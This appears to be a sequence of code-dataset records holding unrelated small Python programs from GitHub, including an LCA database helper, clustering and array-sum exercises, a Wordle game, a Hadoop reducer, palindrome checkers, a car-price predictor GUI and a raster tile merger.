dictionary to list\r\n #the stored database name might be different from input database name, it could contain version, system, etc. Forexample, the stored name might be \"Ecoinvent cutoff35\".\r\n if any(self.database_name in s for s in stored):\r\n# name= \"{}\".format(s for s in stored if self.database_name in s)\r\n if len(Database(self.database_name))==0: \r\n #if database exists as object to Database dictionary, but it's empty. Then delete the database.\r\n print (\"{} database is empty, please reinstall\".format([s for s in stored if self.database_name in s]))\r\n# del databases[self.database_name] \r\n elif 'forwast' in self.database_name.lower():\r\n #download forwast database in the current file path\r\n Importer(self.c_path).forwast_db() \r\n elif 'ecoinvent' in self.database_name.lower():\r\n #eoinvent 3.6 has unlinked exchanges! Use 3.5 for now. \r\n #do not chosse version 'c cut-off', it's an error from ecoinvent site. Use 'd cutoff' instead\r\n Importer(self.c_path).ecoinvent_db()\r\n elif 'us_lci' in self.database_name.lower():\r\n Importer(self.c_path).uslci_db()\r\n elif 'user_customized_database'in self.database_name.lower():\r\n Importer(self.c_path).user_customized_db()\r\n# elif self.db_name.lower() == ('all'):\r\n# SetUp.all_db() \r\n else:\r\n UserWarning (\"Please choose a valid databasename\")\r\n self.db = Database(self.database_name)\r\n \r\n def __repr__(self):\r\n return ('Inventory database in Biosteam_LCA: {}'.format(self.database_name))\r\n \r\n def __str__(self):\r\n return self.__class__.__name__ \r\n \r\n def check_dir(dirpath):\r\n \"\"\"A method to check that path is a directory, and that the system has \r\n write permissions.\r\n \r\n Parameters\r\n ----------\r\n\r\n dirpath : str\r\n\r\n The filepath to the directory in question. \r\n\r\n Returns\r\n -------\r\n\r\n True : bool\r\n\r\n If the input path is a directory and writeable.\r\n\r\n False : bool\r\n\r\n If the input path is either not a directory or is not writeable\r\n \"\"\"\r\n return os.path.isdir(dirpath) and os.access(dirpath, os.W_OK)\r\n\r\n\r\n def size(self):\r\n \"\"\"A method to get the number of total activities in the imported database, \r\n if the database is not empty\r\n\r\n Returns\r\n -------\r\n \r\n db_activities : str\r\n\r\n A count of the total activities in the db. \r\n\r\n Raises\r\n ------\r\n\r\n ImportError\r\n\r\n If the db fails to load.\r\n\r\n \"\"\"\r\n if not self.db:\r\n raise ImportError ('Database is empty!')\r\n else:\r\n db_activities = (('Total activities in {} database is {}'.format(self.database_name, len(self.db))), len(self.db))\r\n return db_activities\r\n \r\n def data(self):\r\n \"\"\"A method to load the db.\"\"\"\r\n return self.db.load()\r\n \r\n def activities(self):\r\n \"\"\"A method for getting a list of all activities in a `self.db`. \r\n\r\n Returns \r\n -------\r\n db_activities_list : list\r\n\r\n A list of all activities in this database.\r\n\r\n Raises\r\n ------\r\n \r\n TypeError\r\n\r\n If dict keys being iterated over cannot be interpreted as an activity.\r\n\r\n \"\"\"\r\n try:\r\n return [self.db.get(ds[1]) for ds in self.data()]\r\n except TypeError:\r\n raise Exception (\"Key {} cannot be understood as an activity\".format(ds[1]) for ds in self.db.load())\r\n \r\n def statistics (self):\r\n \"\"\"A method to get the number of activities and exchanges in the database.\r\n\r\n Returns\r\n -------\r\n\r\n activities_and_num_of_exchanges : str\r\n\r\n A count of all datasets and exchanges in `self.db`. \r\n\r\n \"\"\"\r\n# num_exchanges = sum([len(ds.get('exchanges', [])) for ds in self.db.load()]) \r\n data = self.data()\r\n num_exchanges = sum([len((self.db.get(ds[1])).exchanges()) for ds in data])\r\n num_datasets = len(self.db)\r\n activities_and_num_of_exchanges = ('Number of activities and exchanges:', num_datasets, num_exchanges)\r\n return activities_and_num_of_exchanges\r\n \r\n def delete(self):\r\n \"\"\"A method to delete a previously installed database.\"\"\"\r\n assert self.database_name in databases, \"Database you tend to delete doesn't exist\"\r\n del databases[self.database_name]\r\n \r\n def delete_activity (self,activity):\r\n \"\"\"A method to delete a flow from database.\r\n \r\n Parameters\r\n ----------\r\n\r\n activity: str\r\n\r\n The flow to be deleted.\r\n \"\"\"\r\n data = self.db.load()\r\n del data[activity]\r\n from bw2data.utils import recursive_str_to_unicode\r\n self.db.write(recursive_str_to_unicode(data))\r\n self.db.process()\r\n print (\"deleted activity flow: %s\" % (str(activity)))\r\n\r\n # def exchanges (self, activity):\r\n # \"\"\"get exchanges for the activity\"\"\"\r\n # exchgs = self.data[activity].get('exchanges',[])\r\n # num = len (activity.exchanges())\r\n # return (exchgs, 'Total number of exchanges: {}'.format(num)) \r\n\r\n def all_exchanges (self):\r\n \"\"\"A method to get all exchanges in `self.db`\r\n\r\n Returns\r\n -------\r\n \r\n exchanges_description : str\r\n\r\n A statement of the total number of exchanges in the db.\r\n \"\"\"\r\n data = self.data()\r\n all_exchgs = [(data[ds].get('exchanges',[])) for ds in data]\r\n num = len (all_exchgs)\r\n exchanges_description = (all_exchgs, 'Total number of exchanges in the database {}:{}'.format(self.database_name, num))\r\n return exchanges_description\r\n \r\n def uncertainty(self):\r\n \"\"\"A method to get the most common uncertainty type for `self.db`.\r\n\r\n Returns\r\n -------\r\n\r\n most_common_uncertainty : str\r\n\r\n The most common uncertainty type in the db. \r\n\r\n \"\"\"\r\n if self.size:\r\n flow_type = lambda x: 'technosphere' if x != 'biosphere' else 'biosphere'\r\n uncert = []\r\n for exchgs in peewee.schema.ExchangeDataset.select().where(peewee.schema.ExchangeDataset.output_database == self.database_name):\r\n # obtain default uncertainty distribution for each exchanges in selected database \r\n objs = exchgs.data.get('uncertainty type', 0)\r\n uncertainty_type = stats_arrays.uncertainty_choices[objs].description\r\n uncert.append((flow_type(exchgs.type), uncertainty_type))\r\n most_common_uncertainty = collections.Counter(uncert).most_common() \r\n return most_common_uncertainty\r\n \r\n # def storeData(self):\r\n # \"\"\"A method to write a binary representation of the db to a local file `MyExport.pickle`.\"\"\"\r\n # self.db_as_dict = self.db.load()\r\n # with open('MyExport.pickle', 'wb') as f:\r\n # pickle.dump(self.db_as_dict, f)\r\n\r\n # def _loadData(self):\r\n # db_file = open('MyExport.pickle', 'rb')\r\n # db = pickle.load(db_file)\r\n # for keys in db:\r\n # print (keys, '=>', db(keys))\r\n # db_file.close()\r\n\r\n# @staticmethod\r\n #def geto_locations():\r\n # \"\"\"Returns a list of ecoinvent location abbreviations\"\"\"\r\n # fp = os.path.join(os.path.abspath(os.path.dirname(__file__)),'data', \"geodata.json\")\r\n # return json.load(open(fp, encoding='utf-8'))['names']\r\n# def clean_exchanges(data):\r\n# \"\"\"Make sure all exchange inputs are tuples, not lists.\"\"\"\r\n# def tupleize(value):\r\n# for exc in value.get('exchanges', []):\r\n# exc['input'] = tuple(exc['input'])\r\n# return value\r\n# return {key: tupleize(value) for key, value in data.items()}\r\n# \r\n \r\n#def export_excel():\r\ndef db_write_toExcel(lci_data, db_name):\r\n \"\"\"A function to write inventory database to an Excel file. \r\n\r\n Parameters\r\n ----------\r\n\r\n lci_data : \r\n\r\n db_name : str\r\n\r\n The name of the database. \r\n\r\n Returns\r\n ------- \r\n\r\n fp : string\r\n\r\n The filepath to the spreadsheet file.\r\n \"\"\"\r\n #creat lci data sheet\r\n dirpath = os.path.join(os.path.abspath(os.path.dirname(__file__)),'database')\r\n export_path = os.path.join(dirpath,\"Exported\") \r\n if not os.path.isdir(export_path):\r\n os.makedirs(export_path)\r\n fp = os.path.join(export_path, \"Exported\" +\" \" + db_name +\" Inventory\" + \".xlsx\")\r\n Wb = xlsxwriter.Workbook(fp)\r\n bold = Wb.add_format({'bold': True}) \r\n Ws = Wb.add_worksheet('inventory')\r\n row = 0\r\n \r\n def write_row(sheet, row, data, exchgs=True):\r\n \"\"\"A nested function to write a database row to an Excel file.\r\n\r\n Parameters\r\n ----------\r\n\r\n sheet : file obj\r\n\r\n The Excel file to write to.\r\n\r\n row : int\r\n\r\n The row to write.\r\n\r\n\r\n data : dict\r\n\r\n The data to be written to the db.\r\n\r\n exchgs : boolean, optional\r\n\r\n Include exchanges. Default is `True`\r\n\r\n Raises\r\n ------\r\n\r\n ValueError\r\n\r\n If `amount` not specified in `data`.\r\n \"\"\"\r\n sheet.write_string(row, 0, data.get('name', '(unknown)'), bold)\r\n #include both linked and unlinked exchanges\r\n if exchgs:\r\n sheet.write_string(row, 0, data.get('name', '(unknown)'))\r\n sheet.write_string(row, 1, data.get('reference product', '(unknown)'))\r\n try:\r\n sheet.write_number(row, 2, float(data.get('amount')))\r\n except ValueError:\r\n sheet.write_string(row, 2, 'Unknown')\r\n sheet.write_string(row, 3, data.get('input', [''])[0])\r\n sheet.write_string(row, 4, data.get('unit', '(unknown)'))\r\n sheet.write_string(row, 5, u\":\".join(data.get('categories', ['(unknown)'])))\r\n sheet.write_string(row, 6, data.get('location', '(unknown)'))\r\n if exchgs:\r\n sheet.write_string(row, 7, data.get('type', '(unknown)'))\r\n sheet.write_boolean(row, 8, 'input' in data)\r\n #writing lci data to excel\r\n for ds in lci_data:\r\n if not ds.get('exchanges'):\r\n continue\r\n write_row(Ws, row, ds, False)\r\n cols = ('Name','Reference Product','Amount','Database','Unit','Categories','Location','Type','Matched')\r\n for index, col in enumerate(cols):\r\n Ws.write_string(row+1, index, col, bold)\r\n row += 2\r\n for exchgs in sorted(ds.get('exchanges', []), key=lambda x: x.get('name')):\r\n write_row(Ws, row, exchgs)\r\n row += 1\r\n row += 1 \r\n Wb.close()\r\n# def get_col_widths(dataframe):\r\n# # maximum length of the index column \r\n# idx_max = max([len(str(s)) for s in dataframe.index.values] + [len(str(dataframe.index.name))])\r\n# # concatenate this to the max of the lengths of column name and its values for each column, left to right\r\n# return [idx_max] + [max([len(str(s)) for s in dataframe[col].values] + [len(col)]) for col in dataframe.columns]\r\n#\r\n# for i, width in enumerate(get_col_widths(dataframe)):\r\n# sheet.set_column(i, i, width)\r\n #Aut adjust coloum fit\r\n # excel = win32.gencache.EnsureDispatch('Excel.Application')\r\n # wb = excel.Workbooks.Open(fp)\r\n # ws = wb.Worksheets(\"inventory\")\r\n # ws.Columns.AutoFit()\r\n # wb.Save()\r\n # excel.Application.Quit()\r\n # print(\"Exported inventory database file to:\\n{}\".format(fp))\r\n return fp\r\n \r\nSetUp = SetUpDatabase","repo_name":"scyjth/biosteam_lca","sub_path":"biosteam_lca/setting/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":13137,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"} +{"seq_id":"8084724189","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.cluster import KMeans\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\n\n# data preprocessing\ndata = pd.read_csv('voices.csv')\ndf = data\ndf = df.drop(['gender'],axis = 1)\ndf = df.drop(['age'],axis = 1)\nX = df.values\ny = data['gender'].values\nencoder = LabelEncoder()\ny = encoder.fit_transform(y)\nscaler = StandardScaler()\nscaler.fit(X)\nX = scaler.transform(X)\n\n# fitting clustering algorithm on data\nn_clstrs = [2 , 50 , 290]\npredicted_labels = np.zeros((len(X) , len(n_clstrs)))\nfor i in range(len(n_clstrs)):\n c = n_clstrs[i]\n clstr = GaussianMixture(n_components = c)\n predicted_labels[:,i] = clstr.fit_predict(X)\n\n# presenting clustered groups\ngroups = []\nfor i in range(len(n_clstrs)):\n m = n_clstrs[i]\n a = []\n for j in range(m):\n a.append(data[predicted_labels[:,i] == j])\n groups.append(a)\n\n \n\n","repo_name":"sara-salamat/gender-recognition-by-voice-python","sub_path":"clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"86702151715","text":"import math\n\n\"\"\"Problem Statement: Given an array that is sorted and then rotated around an unknown point. Find if the array has a \npair with a given sum ‘x’. It may be assumed that all elements in the array are distinct. \nlink: https://www.geeksforgeeks.org/given-a-sorted-and-rotated-array-find-if-there-is-a-pair-with-a-given-sum/\n\"\"\"\n\n\"\"\"\n Algorithm:\n let len = array length; value = sum value to be matched\n find pos of largest element in array as a[prev_pos] < a[ele_pos] > a[next_pos]\n where next_pos = (len + (ele_pos + 1)) mod len;\n prev_pos = (len - (ele_pos - 1)) mod len\n set largest = ele_pos, smallest = next_pos\n while largest != smallest\n if arr[largest] + arr[smallest] > value\n largest = largest -> next \n if arr[largest] + arr[smallest] < value \n smallest = smallest -> next\n else \n value matched return smallest, largest position values \n\"\"\"\n\n\ndef find_sum_in_arr(input_arr, sum_value, search_algo=1):\n \"\"\"\n :param search_algo: search algorithm to use between linear or binary\n :param input_arr: input sorted rotated array\n :param sum_value: value we have to match as sum of 2 elements in array\n :return: position tuple in array that match the given sum if it exists ; (-1, -1) otherwise\n \"\"\"\n\n if search_algo == 1:\n smallest, largest = get_smallest_largest_linear(input_arr)\n else:\n smallest, largest = get_smallest_largest_binary(input_arr)\n\n while smallest != largest:\n if input_arr[smallest] + input_arr[largest] < sum_value:\n smallest = int(math.fmod((len(input_arr) + (smallest + 1)), len(input_arr)))\n elif input_arr[smallest] + input_arr[largest] > sum_value:\n largest = int(math.fmod((len(input_arr) + (largest - 1)), len(input_arr)))\n else:\n return smallest, largest\n return -1, -1\n\n\ndef get_smallest_largest_linear(input_arr):\n \"\"\"\n time-complexity = O(n)\n returns touple of smallest and largest elements in a array\n :param input_arr:\n :return: (ele1, ele2)\n \"\"\"\n smallest = 0\n largest = 0\n for i in range(0, len(input_arr)):\n prev_pos = int(math.fmod((len(input_arr) - (i - 1)), len(input_arr)))\n next_pos = int(math.fmod((len(input_arr) + (i + 1)), len(input_arr)))\n if input_arr[i] > input_arr[prev_pos] and input_arr[i] > input_arr[next_pos]:\n largest = i\n smallest = next_pos\n break\n\n return smallest, largest\n\n\n\"\"\"\nTime complexity: O(log n) \nAlgorithm: Binary search: \nThe minimum element is the only element whose previous is greater than it.\nIf there is no previous element element, then there is no rotation (first element is minimum). \nWe check this condition for middle element by comparing it with (mid-1)’th and (mid+1)’th elements. \nIf minimum element is not at middle (neither mid nor mid + 1), then minimum element lies in either left half or right half.\nIf middle element is smaller than last element, then the minimum element lies in left half Else minimum element lies in right \nhalf. \n\"\"\"\n\n\ndef get_smallest_largest_binary(input_arr):\n middle = int(len(input_arr) / 2)\n low = 0\n high = len(input_arr) - 1\n\n while low < high:\n if input_arr[middle - 1] > input_arr[middle]:\n if middle == 0:\n return middle, len(input_arr) - 1\n else:\n return middle, middle - 1\n elif input_arr[middle] > input_arr[high]:\n low = middle + 1\n middle = int((low + high) / 2)\n else:\n high = middle - 1\n middle = int((low + high) / 2)\n return -1, -1\n\n\ndef check_if_exists(arr, val, switch=1):\n x, y = find_sum_in_arr(arr, val, switch)\n if x == y and x == -1:\n print('sum {} does not exist in the array'.format(val))\n else:\n print('sum {} is gained from (val_1, pos_1) = ({}, {}) and (val_2, pos_2) = ({}, {})'.format(val, arr[x], x,\n arr[y], y))\n\n\n\"\"\"\nTest Cases:\n\"\"\"\n\n# test case 1:\nip_arr = [4, 5, 1, 2, 3]\nsum_val = 9\ncheck_if_exists(ip_arr, sum_val)\n\n# test case 2:\nip_arr = [11, 15, 26, 38, 9, 10]\nsum_val = 21\ncheck_if_exists(ip_arr, sum_val)\n\n# test case 3:\nip_arr = [4, 5, 1, 2, 3]\nsum_val = 9\ncheck_if_exists(ip_arr, sum_val, 2)\n\n# test case 4:\nip_arr = [11, 15, 26, 38, 9, 10]\nsum_val = 21\ncheck_if_exists(ip_arr, sum_val, 2)","repo_name":"saurabhsm07/ds-algo","sub_path":"python/src/ssm_stl/data_structures/arrays/code/misc/sum_of_two_elements.py","file_name":"sum_of_two_elements.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8961785325","text":"#manual solution setting version\n\nsolution = \"cat\"\nguess_count = 0\nprint(\"Welcome to my wordle! In this wordle, you will have six guesses to guess a three letter word.\")\nwhile guess_count <= 6:\n guess = input(\"What is your guess? \")\n guess = str.lower(guess)\n if len(guess) != 3:\n print(\"Your guess should be three letters.\")\n elif guess == solution:\n print(\"You got the wordle!\")\n break\n else:\n right_spot = \"\"\n right_letter = \"\"\n not_in = \"\"\n for letter in range(len(guess)):\n if guess[letter] == solution[letter]:\n right_spot = right_spot + guess[letter]\n if guess[letter] != solution[letter] and guess[letter] in solution:\n right_letter = right_letter + (guess[letter])\n if guess[letter] not in solution:\n not_in = not_in + (guess[letter])\n print(\"These letters were in the right spot:\")\n print([right_spot])\n print(\"These letters are in the answer but not in the right spot:\")\n print([right_letter])\n print(\"These letters are not in the answer:\")\n print([not_in])\n guess_count += 1\n\nif guess_count > 6:\n print(\"You did not get the wordle today. See you tomorrow!\")\n","repo_name":"lizrodrigues/wordle-lab","sub_path":"wordle-lab.py","file_name":"wordle-lab.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26001958946","text":"#!/usr/bin/env python\n\n#from operator import itemgetter\nimport sys\n\ncurrent_pair = None\ncurrent_count = 0\nxy_pair = None\n\n# input comes from STDIN\nfor line in sys.stdin:\n line = line.strip() # remove leading and trailing whitespace\n xy_pair, count = line.split('\\t', 1) # parse mapper.py input into key and value.\n\n try: # convert count: str => int\n count = int(count)\n except ValueError:\n print(\"Could not coerce count into integer\")\n continue # If count not a number, we silently ignore and discard this line\n\n # this IF-switch only works because Hadoop sorts map output\n # by key (here: xy_pair) before it is passed to the reducer\n if current_pair == xy_pair:\n current_count += count\n else:\n if current_pair:\n string_list = current_pair.translate(None, '[],').split() # Convert string to list of strings\n l = [float(x) for x in string_list] # Convert list of string into list of floats.\n #We now have a list of floats: x_lo, x_hi, y_lo, y_hi. We print out string-coerced\n #versions of each float, separated by commas, then cat it with a string of the current count.\n #Result: \"x_lo, x_hi, y_lo, y_hi, count\" is printed to STDOUT.\n print('%s,%s' % (\",\".join(str(x) for x in l), str(current_count)))\n current_count = count\n current_pair = xy_pair\n\n# Output the last pair\nif current_pair == xy_pair:\n string_list = current_pair.translate(None, '[],').split()\n l = [float(x) for x in string_list]\n print('%s,%s' % (\",\".join(str(x) for x in l), str(current_count)))","repo_name":"christopheraden/Explorations-into-Computational-Statistics","sub_path":"HW2/Streaming/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23076729024","text":"def ns(f):\n return next(f).strip()\n\n\nwith open(\"../testset/primality_test/test1.txt\", 'r') as f:\n N = int(ns(f))\n\n\ndef is_prime(n):\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return n != 1\n\n\nif is_prime(N):\n print(\"Yes\")\nelse:\n print(\"No\")\n","repo_name":"e5pe0n/algorithm-training","sub_path":"Ant/chapter2/python/is_prime.py","file_name":"is_prime.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32589002212","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport codecs\nimport icu\n\nfrom cldr_util import makePhonemeSet, match, check, regtest\n\nGRAPHEMES = icu.UnicodeSet()\nGRAPHEMES.applyPattern('[[:Tavt:]]')\n\nPHONEMES = makePhonemeSet(\"\"\"\n\np pʰ b t tʰ d k kʰ ɡ ʔ\nm n ɲ ŋ\nf v s h x\nw j l\n\nt͡ɕ t͡ɕʷ t͡ɕʰ t͡ɕʰʷ\n\npʷ pʰʷ tʷ dʷ kʰʷ kʷ ɡʷ\nmʷ nʷ ɲʷ ŋʷ\nfʷ sʷ hʷ xʷ\n\ni ɨ u\nɛ e ə ɔ o\na aː\n\niə̯ ɨə̯ uə̯\nai̯\n\n˨ ˧˥ ˨˩ ˥ ˦ ˧˩\n\n\"\"\")\n\ncheck('blt-fonipa-t-blt', GRAPHEMES, PHONEMES)\nregtest('blt-fonipa-t-blt', GRAPHEMES, PHONEMES)\n","repo_name":"brawer/playground","sub_path":"cldr/check_translit_blt.py","file_name":"check_translit_blt.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"72"} +{"seq_id":"18988679624","text":"# Problem Statement :\n'''Python program to check whether the string is Palindrome'''\n\n# code\nimport string\n\n#function\ndef checkPalindrome(str):\n s = str\n # all char Lower case\n str = str.lower()\n #replacing the whitespaces\n str = str.replace(\" \", \"\")\n #removing the punctuation\n for char in string.punctuation:\n str = str.replace(char, '')\n \n \n #Validation\n print(\"{} : is a palindrome\".format(s) if str==str[::-1] else \"{} : is not a palindrome\".format(s))\n\n# Driver code\ncheckPalindrome('able was I ere I saw Elba')\ncheckPalindrome('khokho')\ncheckPalindrome('amaama')\ncheckPalindrome('wow')\ncheckPalindrome('Murder for a jar of red rum')\ncheckPalindrome('No, it can, as it is, it is a war. Raw as it is, it is an action')\ncheckPalindrome('Some men interpret nine memos')\ncheckPalindrome('Eva, can I see bees in a cave?')\ncheckPalindrome('Gert, I saw Ron avoid a radio-van, or was it Reg?')\n","repo_name":"devops-pritam/python","sub_path":"string/01.palindromeCheck.py","file_name":"01.palindromeCheck.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4194064209","text":"from sklearn import datasets,linear_model\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport pandas as pd\nimport os\nimport tkinter as tk\nfrom tkinter import ttk\nimport tkinter\nfrom DropDown_file import *\nfrom tkinter import *\nimport cv2\nimport PIL.Image,PIL.ImageTk\nimport imutils\nfrom functools import partial\nfrom datetime import date\n\n\nlinearRegressions=[]\nCarsDetail=[]\nCarNames=[]\n\n# answer\n\ncv_img=cv2.cvtColor(cv2.imread('Car_Background.jpeg'),cv2.COLOR_BGR2RGB)\n\nclass CarsRegression:\n def __init__(self,name,LinRegreModel):\n self.name=name\n self.LinearRegression=LinRegreModel\n\nclass CarsData:\n def __init__(self,name,df):\n self.name=name\n self.DataFrame=df\n\npath=os.getcwd()\n\npath+='/Cars'\n\nfiles=os.listdir(path)\n\n# For extracting all the file from the Cars folder with xlsx extention\nxlsx_Files=[f for f in files if f[-4:]=='xlsx']\n\n# For labeling all the object with file name and linear regression model\nfor file in xlsx_Files:\n linearRegrName=file[:-5]\n RegresserModel=linear_model.LinearRegression()\n \n model=CarsRegression(linearRegrName,RegresserModel)\n\n linearRegressions.append(model)\n\n# Making a db for the dataframes for the with it's car name \nfor file in xlsx_Files:\n df=pd.read_excel('./Cars/'+file)\n CarsDetail.append(CarsData(file[:-5],df))\n CarNames.append(file[:-5])\n\nfor i in range(len(linearRegressions)):\n df=CarsDetail[i].DataFrame\n train_X=df[['KM','Model','Fuel (P:0 , D:1)','Condition(Denting/Screches)']]\n train_Y=pd.DataFrame(df['Price'])\n model=linearRegressions[i].LinearRegression\n model.fit(train_X,train_Y)\n\n\ndef number(km,sCar,score,fuel_input,model,answer):\n try:\n KMs=int(km.get())\n score=int(score.get())\n fuel=int(fuel_input.get())\n modelYear=int(model.get())\n\n # print(KMs,score,fuel,modelYear)\n\n if KMs<0:\n answer.config(text='Please enter the +ve KMs')\n elif score<0 or score>10:\n answer.config(text='Please enter the Codition score between 0 and 10!')\n elif fuel<0 or fuel>1:\n answer.config(text='Please enter 0 or 1 for fuel type!')\n elif modelYear>date.today().year:\n answer.config(text='Pleae enter a valid year!')\n else:\n answer.config(text='Calculating the price......')\n answer.config(text=sCar.get())\n Car=sCar.get()\n \n print(Car)\n\n index=0\n for cars in CarNames:\n index+=1\n if cars==Car:\n print('Yes i found it!')\n break\n\n index=index-1\n\n print(CarNames[index])\n\n prediction=[]\n prediction.append(KMs)\n prediction.append(modelYear)\n prediction.append(fuel)\n prediction.append(score)\n\n print(prediction)\n\n rModel=linearRegressions[index].LinearRegression\n\n pPrice=rModel.predict([prediction])[0][0]\n Price=str(round(pPrice,2))\n answer.config(text='Predicted Price: Rs '+Price)\n \n except :\n answer.config(text='Please enter the right details!')\n \n\n\ndef test(test_list):\n \"\"\"Run a mini application to test the AutocompleteEntry Widget.\"\"\"\n root = Tk(className='AutocompleteEntry demo')\n root.geometry('800x695')\n canvas=Canvas(root,width=800,height=380)\n\n # bg=PhotoImage(file='Car_Background.jpeg')\n\n photo=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(cv_img))\n rimage=imutils.resize(cv_img,width=800,height=380)\n photo=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(rimage))\n image_on_canvas=canvas.create_image(0,0,ancho=tkinter.NW,image=photo)\n canvas.pack()\n\n carName=Label(root,text='Enter the carName:')\n carName.pack(pady=2)\n\n combo = AutocompleteCombobox(root)\n combo.set_completion_list(test_list)\n combo.pack()\n # combo.default(0)fuel_input\n combo.focus_set()\n\n KmText=Label(root,text='Enter the KMs:')\n KmText.pack(pady=1)\n\n km=Entry(root)\n km.pack(pady=1)\n\n score_txt=Label(root,text='Enter the condition score(dents,\\nEngine Condintion...):')\n score_txt.pack(pady=1)\n\n score=Entry(root)\n score.pack(pady=1)\n \n fuel=Label(root,text='Enter the fuel type 0 for Petrol,1 for Diesel:')\n fuel.pack(pady=1)\n\n fuel_input=Entry(root,text='Fuel type')\n fuel_input.pack(pady=1)\n\n model_txt=Label(root,text='Enter the car model Year')\n model_txt.pack(pady=1)\n\n model=Entry(root)\n model.pack(pady=1)\n\n answer=Label(root,text='Predicted price:')\n answer.pack(pady=1)\n \n my_button=Button(root,text='Calculate Price',\n command=partial(number,km,combo,score,fuel_input,model,answer))\n my_button.pack(pady=1)\n\n # entry = AutocompleteEntry(root)\n # entry.set_completion_list(test_list)\n # entry.pack()\n # entry.focus_set()\n\n # I used a tiling WM with no controls, added a shortcut to quit\n root.bind('', lambda event=None: root.destroy())\n root.bind('', lambda event=None: root.destroy())\n root.mainloop()\n\nif __name__ == '__main__':\n # test_list = ['apple', 'banana', 'CranBerry', 'dogwood', 'alpha', 'Acorn', 'Anise']\n test(CarNames)","repo_name":"vishu1227/2ndHandCarPricePredictor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37791494395","text":"import rasterio\nimport rasterio.plot as rioplot\nfrom rasterio.merge import merge\nimport numpy as np\nimport glob\n\ndef merge_tiles(path_list, out_path, bounds=None):\n \"\"\" Merge the raster images given in the path list and save the results on disk.\n INPUT : path_list (list of string) -> the path to all the images to merge\n out_path (str) -> the path and file name to which the merge is saved\n bounds (tuple) -> (left, bottom, right, top) the boundaries to extract from (in UTM).\n OUTPUT : None\n \"\"\"\n # open all tiles\n src_file_mosaic = []\n for fpath in path_list:\n src = rasterio.open(fpath)\n src_file_mosaic.append(src)\n # merge the files into a single mosaic\n mosaic, out_trans = merge(src_file_mosaic, bounds=bounds)\n # update\n out_meta = src.meta.copy()\n out_meta.update({'driver': 'GTiff', 'height': mosaic.shape[1], 'width': mosaic.shape[2], 'transform': out_trans})\n # save the merged\n with rasterio.open(out_path, \"w\", **out_meta) as dest:\n dest.write(mosaic)\n\n# %%\nbounds=(794000, 550000, 805000, 558500)\nimg_path_MS = [path for path in glob.glob('dataset_20181227/*MS.tif')]\nimg_path_MS_SR = [path for path in glob.glob('dataset_20181227/*MS_SR.tif')]\n\nmerge_tiles(img_path_MS, 'plantation_27122018_MS.tif', bounds)\nmerge_tiles(img_path_MS_SR, 'plantation_27122018_MS_SR.tif', bounds)\n","repo_name":"antoine-spahr/Cocoa_plantations_detection","sub_path":"Code/merge_tiles.py","file_name":"merge_tiles.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"40786639930","text":"import pygame\nfrom constants import LIMITS, WINDOW_HEIGHT, WINDOW_WIDTH\n\n\nclass Paddle(pygame.sprite.Sprite):\n \"\"\"Paddle class\"\"\"\n\n def __init__(self, position, color=None):\n super().__init__()\n\n # Default size\n self.size = (WINDOW_WIDTH * 0.017, WINDOW_WIDTH * 0.17)\n\n # Default speed\n self.speed = 0\n\n if not color:\n color = (204, 255, 0)\n self.refresh_rect(color)\n\n # Starting positions\n if position == \"left\":\n self.rect.x = LIMITS[\"left\"]\n elif position == \"right\":\n self.rect.x = LIMITS[\"right\"] - self.size[0]\n\n self.rect.y = LIMITS[\"down\"] // 2\n\n def refresh_rect(self, color):\n \"\"\"Updates the sprite / rect based on self.size\"\"\"\n self.image = pygame.Surface(self.size)\n self.image.fill(color)\n self.rect = self.image.get_rect()\n\n # ===============================================\n def update(self):\n self.rect.y += self.speed\n self.constrain()\n\n def constrain(self):\n if self.rect.y < LIMITS[\"up\"]:\n self.rect.y = LIMITS[\"up\"]\n if self.rect.y > LIMITS[\"down\"] - self.size[1]:\n self.rect.y = LIMITS[\"down\"] - self.size[1]\n\n\n\n","repo_name":"Filet26/Python_Pong_2515","sub_path":"models/paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28187532658","text":"# DETECTOR DE PALÍNDROMO\nfrase = str(input('\\033[34mDigite uma frase: ')).strip().upper()\npalavras = frase.split()\njunto = ''.join(palavras)\ninverso = junto[:: - 1]\nprint('\\033[34mO inverso de\\033[33m {}\\033[34m é\\033[33m {}'.format(junto, inverso))\nif inverso == junto:\n print('\\033[34mTemos um palíndromo!')\nelse:\n print('\\033[34mA frase digitada não é um 